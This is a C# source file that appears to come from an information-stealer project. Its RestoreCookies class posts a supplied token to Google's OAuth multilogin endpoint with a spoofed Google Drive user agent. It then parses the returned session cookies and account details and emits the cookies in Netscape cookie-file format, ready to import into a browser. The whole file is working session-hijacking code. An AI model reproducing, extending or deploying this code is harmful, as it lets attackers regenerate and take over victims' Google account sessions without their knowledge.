Files
Intellix/Intelix.Helper/RestoreCookies.cs
T
2026-08-27 10:55:23 -06:00

181 lines
5.4 KiB
C#

using System;
using System.Collections.Generic;
using System.IO;
using System.Net;
using System.Text;
using System.Text.RegularExpressions;
namespace Intelix.Helper;
public static class RestoreCookies
{
public class Account
{
public string type { get; set; }
public string display_name { get; set; }
public string display_email { get; set; }
public string photo_url { get; set; }
public bool selected { get; set; }
public bool default_user { get; set; }
public int authuser { get; set; }
public bool valid_session { get; set; }
public string obfuscated_id { get; set; }
public bool is_verified { get; set; }
}
public class Cookie
{
public string name { get; set; }
public string value { get; set; }
public string domain { get; set; }
public string path { get; set; }
public bool isSecure { get; set; }
public bool isHttpOnly { get; set; }
public int maxAge { get; set; }
public string priority { get; set; }
public string sameParty { get; set; }
public string sameSite { get; set; }
public string host { get; set; }
}
public class Root
{
public string status { get; set; }
public List<Cookie> cookies { get; set; }
public List<Account> accounts { get; set; }
}
private static string SendPostRequest(string token)
{
try
{
HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create("https://accounts.google.com/oauth/multilogin?source=com.google.Drive");
httpWebRequest.Method = "POST";
httpWebRequest.ContentType = "application/x-www-form-urlencoded";
httpWebRequest.Headers.Add("Authorization", "MultiBearer " + token);
httpWebRequest.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) com.google.Drive/6.0.230903 iSL/3.4 (gzip)\r\n";
string s = "";
byte[] bytes = Encoding.UTF8.GetBytes(s);
using (Stream stream = httpWebRequest.GetRequestStream())
{
stream.Write(bytes, 0, bytes.Length);
}
using HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse();
if (httpWebResponse.StatusCode == HttpStatusCode.OK)
{
using (StreamReader streamReader = new StreamReader(httpWebResponse.GetResponseStream()))
{
return streamReader.ReadToEnd();
}
}
}
catch (Exception)
{
}
return string.Empty;
}
public static string CRestore(string restore)
{
try
{
string text = SendPostRequest(restore);
if (string.IsNullOrEmpty(text))
{
return string.Empty;
}
text = text.Remove(0, 5);
Root obj = new Root
{
status = Regex.Match(text, "\"status\":\"(.*?)\"").Groups[1].Value,
cookies = ExtractCookies(text),
accounts = ExtractAccounts(text)
};
StringBuilder stringBuilder = new StringBuilder();
foreach (Cookie cookie in obj.cookies)
{
string text2 = (string.IsNullOrEmpty(cookie.host) ? cookie.domain : cookie.host);
text2 = (string.IsNullOrEmpty(text2) ? ".google.com" : text2);
stringBuilder.AppendLine(text2 + "\tTRUE\t" + cookie.path + "\tFALSE\t" + cookie.maxAge + "\t" + cookie.name + "\t" + cookie.value);
}
return stringBuilder.ToString();
}
catch
{
}
return string.Empty;
}
private static List<Cookie> ExtractCookies(string json)
{
List<Cookie> list = new List<Cookie>();
foreach (Match item2 in Regex.Matches(json, "{(.*?)}"))
{
string value = item2.Value;
int result;
Cookie item = new Cookie
{
name = Regex.Match(value, "\"name\":\"(.*?)\"").Groups[1].Value,
value = Regex.Match(value, "\"value\":\"(.*?)\"").Groups[1].Value,
domain = Regex.Match(value, "\"domain\":\"(.*?)\"").Groups[1].Value,
path = Regex.Match(value, "\"path\":\"(.*?)\"").Groups[1].Value,
isSecure = Regex.IsMatch(value, "\"isSecure\":true"),
isHttpOnly = Regex.IsMatch(value, "\"isHttpOnly\":true"),
maxAge = (int.TryParse(Regex.Match(value, "\"maxAge\":(\\d+)").Groups[1].Value, out result) ? result : 0),
priority = Regex.Match(value, "\"priority\":\"(.*?)\"").Groups[1].Value,
sameParty = Regex.Match(value, "\"sameParty\":\"(.*?)\"").Groups[1].Value,
sameSite = Regex.Match(value, "\"sameSite\":\"(.*?)\"").Groups[1].Value,
host = Regex.Match(value, "\"host\":\"(.*?)\"").Groups[1].Value
};
list.Add(item);
}
return list;
}
private static List<Account> ExtractAccounts(string json)
{
List<Account> list = new List<Account>();
foreach (Match item2 in Regex.Matches(json, "{(.*?)}"))
{
string value = item2.Value;
int result;
Account item = new Account
{
type = Regex.Match(value, "\"type\":\"(.*?)\"").Groups[1].Value,
display_name = Regex.Match(value, "\"display_name\":\"(.*?)\"").Groups[1].Value,
display_email = Regex.Match(value, "\"display_email\":\"(.*?)\"").Groups[1].Value,
photo_url = Regex.Match(value, "\"photo_url\":\"(.*?)\"").Groups[1].Value,
selected = Regex.IsMatch(value, "\"selected\":true"),
default_user = Regex.IsMatch(value, "\"default_user\":true"),
authuser = (int.TryParse(Regex.Match(value, "\"authuser\":(\\d+)").Groups[1].Value, out result) ? result : 0),
valid_session = Regex.IsMatch(value, "\"valid_session\":true"),
obfuscated_id = Regex.Match(value, "\"obfuscated_id\":\"(.*?)\"").Groups[1].Value,
is_verified = Regex.IsMatch(value, "\"is_verified\":true")
};
list.Add(item);
}
return list;
}
}